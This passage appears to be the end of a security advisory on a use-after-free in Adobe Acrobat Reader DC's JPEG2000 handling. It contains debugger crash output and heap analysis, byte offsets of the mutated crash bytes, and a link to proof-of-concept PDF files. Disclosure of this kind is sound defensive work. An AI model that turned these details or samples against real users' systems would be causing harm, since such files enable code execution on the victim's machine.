20 050ff2fc 0ec5645f 0000000f 00000000 00000000 AcroRd32!DllCanUnloadNow+0xd72c
21 050ff318 7460e0bb 00300dd4 0000000f 00000000 AcroRd32!DllCanUnloadNow+0xd49f
22 050ff344 74618849 0ec563a0 00300dd4 0000000f USER32!_InternalCallWinProc+0x2b
23 050ff368 7461b145 0000000f 00000000 00000000 USER32!InternalCallWinProc+0x20
24 050ff438 74608503 0ec563a0 00000000 0000000f USER32!UserCallWinProcCheckWow+0x1be
25 050ff4a0 74608aa0 0d749a40 00000000 0000000f USER32!DispatchClientMessage+0x1b3
26 050ff4e8 77291a6d 050ff504 00000020 050ff568 USER32!__fnDWORD+0x50
27 050ff520 76e92d3c 746091ee 050ff5b8 ba389ade ntdll!KiUserCallbackDispatcher+0x4d
28 050ff524 746091ee 050ff5b8 ba389ade 0cfaf370 win32u!NtUserDispatchMessage+0xc
29 050ff578 74608c20 bf376fa6 050ff59c 0ec6da8b USER32!DispatchMessageWorker+0x5be
2a 050ff584 0ec6da8b 050ff5b8 0cfaf370 0cfaf370 USER32!DispatchMessageW+0x10
2b 050ff59c 0ec6d81e 050ff5b8 a7058d2c 0cfaf370 AcroRd32!DllCanUnloadNow+0x24acb
2c 050ff610 0ec6d6b4 a7058d74 0cfaf370 00000000 AcroRd32!DllCanUnloadNow+0x2485e
2d 050ff648 0ebfc556 a7058d84 0cf98070 00000000 AcroRd32!DllCanUnloadNow+0x246f4
2e 050ff6b8 0ebfbf81 0ebd0000 00af0000 0cf98070 AcroRd32!AcroWinMainSandbox+0x756
2f 050ffad8 00af783d 0ebd0000 00af0000 0cf98070 AcroRd32!AcroWinMainSandbox+0x181
30 050ffea4 00bffd2a 00af0000 00000000 0c112f0a AcroRd32_exe+0x783d
31 050ffef0 73cf8674 04ecb000 73cf8650 40982fa7 AcroRd32_exe!AcroRd32IsBrokerProcess+0x9940a
32 050fff04 77285e17 04ecb000 393e3559 00000000 KERNEL32!BaseThreadInitThunk+0x24
33 050fff4c 77285de7 ffffffff 772aad8c 00000000 ntdll!__RtlUserThreadStart+0x2f
34 050fff5c 00000000 00af1390 04ecb000 00000000 ntdll!_RtlUserThreadStart+0x1b

0:000> u eip-7
AcroRd32!AX_PDXlateToHostEx+0x340ff8:
0f29f048 8b7804          mov     edi,dword ptr [eax+4]
0f29f04b 85ff            test    edi,edi
0f29f04d 7441            je      AcroRd32!AX_PDXlateToHostEx+0x341040 (0f29f090)
0f29f04f 8b4754          mov     eax,dword ptr [edi+54h]
0f29f052 8945e8          mov     dword ptr [ebp-18h],eax
0f29f055 8b4738          mov     eax,dword ptr [edi+38h]
0f29f058 85c0            test    eax,eax
0f29f05a 741c            je      AcroRd32!AX_PDXlateToHostEx+0x341028 (0f29f078)

0:000> dd eax
14080e48  f0f0f0f0 f0f0f0f0 a0a0a0a0 a0a0a0a0
14080e58  00000000 00000000 d3b8376a 101b7bae
14080e68  abcdaaa9 8bfc1000 00000028 00000050
14080e78  00000002 16fdf310 0b043584 dcbaaaa9
14080e88  f0f0f0f0 f0f0f0f0 f0f0f0f0 f0f0f0f0
14080e98  f0f0f0f0 f0f0f0f0 f0f0f0f0 f0f0f0f0
14080ea8  f0f0f0f0 f0f0f0f0 a0a0a0a0 a0a0a0a0
14080eb8  00000000 00000000 d4b8376d 101b7baa

0:000> !heap -p -a eax
    address 14080e48 found in
    _HEAP @ c110000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        14080e20 0008 0000  [00]   14080e48    00008 - (free DelayedFree)
        66d6c396 verifier!AVrfpDphNormalHeapFree+0x000000b6
        66d6ab43 verifier!AVrfDebugPageHeapFree+0x000000e3
        77305359 ntdll!RtlDebugFreeHeap+0x0000003c
        7725ad86 ntdll!RtlpFreeHeap+0x000000d6
        7725ac3d ntdll!RtlFreeHeap+0x000007cd
        66e5aad0 vrfcore!VfCoreRtlFreeHeap+0x00000020
        74a2db1b ucrtbase!_free_base+0x0000001b
        74a2dae8 ucrtbase!free+0x00000018
        ec02849 AcroRd32!AcroWinMainSandbox+0x00006a49
        1a0e8706 JP2KLib!JP2KTileGeometryRegionIsTile+0x00000286
        1a0d0e0a JP2KLib!JP2KCopyRect+0x0000bc0a
        1a0e7904 JP2KLib!JP2KImageInitDecoderEx+0x00000024
        f29f8e8 AcroRd32!AX_PDXlateToHostEx+0x00341898
        f2a1508 AcroRd32!AX_PDXlateToHostEx+0x003434b8
        f29522b AcroRd32!AX_PDXlateToHostEx+0x003371db
        f29f164 AcroRd32!AX_PDXlateToHostEx+0x00341114
        edcaf85 AcroRd32!DllCanUnloadNow+0x00181fc5
        edca5b8 AcroRd32!DllCanUnloadNow+0x001815f8
        edc9928 AcroRd32!DllCanUnloadNow+0x00180968
        edc98e6 AcroRd32!DllCanUnloadNow+0x00180926
        edc97c1 AcroRd32!DllCanUnloadNow+0x00180801
        edc8788 AcroRd32!DllCanUnloadNow+0x0017f7c8
        edc5cd7 AcroRd32!DllCanUnloadNow+0x0017cd17
        edc5955 AcroRd32!DllCanUnloadNow+0x0017c995
        eda93ed AcroRd32!DllCanUnloadNow+0x0016042d
        ee20753 AcroRd32!CTJPEGDecoderRelease+0x000358c3
        edc8184 AcroRd32!DllCanUnloadNow+0x0017f1c4
        edc5955 AcroRd32!DllCanUnloadNow+0x0017c995
        eda93ed AcroRd32!DllCanUnloadNow+0x0016042d
        eda81e8 AcroRd32!DllCanUnloadNow+0x0015f228
        ed9b383 AcroRd32!DllCanUnloadNow+0x001523c3
        ed9ac97 AcroRd32!DllCanUnloadNow+0x00151cd7
--- cut ---

Notes:

- Reproduces on Adobe Acrobat Reader DC (2019.012.20035) on Windows 10. Reproduces most cleanly with Light PageHeap enabled in Application Verifier for the AcroRd32.exe process (which fills freed allocations with 0xf0f0f0...). Without PageHeap, the crash typically occurs in ntdll!RtlReportCriticalFailure.

- The crash occurs immediately after opening the PDF document. It is a use-after-free condition which subsequently leads to memory corruption.

- Attached samples: poc1.pdf and poc2.pdf (crashing files), original1.pdf and original2.pdf (corresponding original files).

- We have minimized the differences between the original and mutated files down to 2 bytes inside of binary JP2 image streams. For poc1.pdf, the modifications are at offsets 0x290a and 0x298b; for poc2.pdf, at offsets 0x5b4 and 0x62a.

- We classify the bug as a potential RCE.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47271.zip